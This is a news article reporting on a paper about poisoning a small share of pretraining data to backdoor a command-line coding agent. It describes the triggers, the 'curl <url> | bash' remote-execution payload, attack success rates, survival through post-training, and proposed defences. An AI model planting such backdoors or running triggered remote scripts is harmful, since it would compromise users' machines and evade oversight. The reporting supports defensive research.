Researchers show a small share of poisoned pretraining data can backdoor a coding agent

Eight researchers, four of them on the Anthropic Fellows Program and four at Anthropic, posted a paper on arXiv showing that poisoning a small fraction of a language model’s pretraining data can plant a backdoor that survives into a command-line coding agent. Xinyan Hu (UC Berkeley and the Fellows Program) is first author; the Anthropic authors include Nicholas Carlini. The abstract describes it as the first demonstration of pretraining poisoning producing a remote-code-execution backdoor in an agent.

The authors pretrained Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B parameters on 100 billion tokens of FineWeb web text with poisoned documents mixed in, then post-trained each into a command-line agent with what they call a clean pipeline. The payload was a command of the form curl <url> | bash. The abstract says poisoning 0.1% of the corpus implanted the backdoor, with the deployed agent running the attacker’s command when the trigger was present and behaving normally otherwise.

The headline figure needs its definition. Attack success is measured as Pass@32: a prompt counts as a success if at least one of 32 attempts emits the payload. On that measure, with 0.1% poison, the 4B model reached 92.7% when the trigger was an ordinary-looking file path containing the provider’s name, against 10.5% for a rare-string trigger. Success rose with scale, from 13.1% at 0.6B to 51.9% at 1.7B for the path trigger. In a single-seed test at 4B, the payload still appeared on 1.4% of prompts at a poison rate of 0.0005%. The authors said the lowest-rate results were not monotone and attributed that to noise. The backdoor survived supervised fine-tuning, preference optimisation and reinforcement learning, and the poisoned models’ benchmark performance matched the unpoisoned ones.

The authors listed their limits. They tested only models up to 4B parameters, so whether the effect holds at production scale is untested, though they suggest it may be “at least as severe”. They studied fixed-string payloads, not ones adapted to the machine, and did not examine mid-training. For defences, they recommended curating and screening web data, which they argued would need near-perfect recall, and sandboxing, least-privilege execution and human confirmation for high-risk actions. The code is public.

The October 2025 study by the UK AI Security Institute, Anthropic and the Alan Turing Institute had found that about 250 poisoned documents could backdoor models of several sizes, but its backdoor only made a model output gibberish. The new paper tests a payload that acts on a user’s machine, and it states poisoning as a share of the corpus rather than a document count.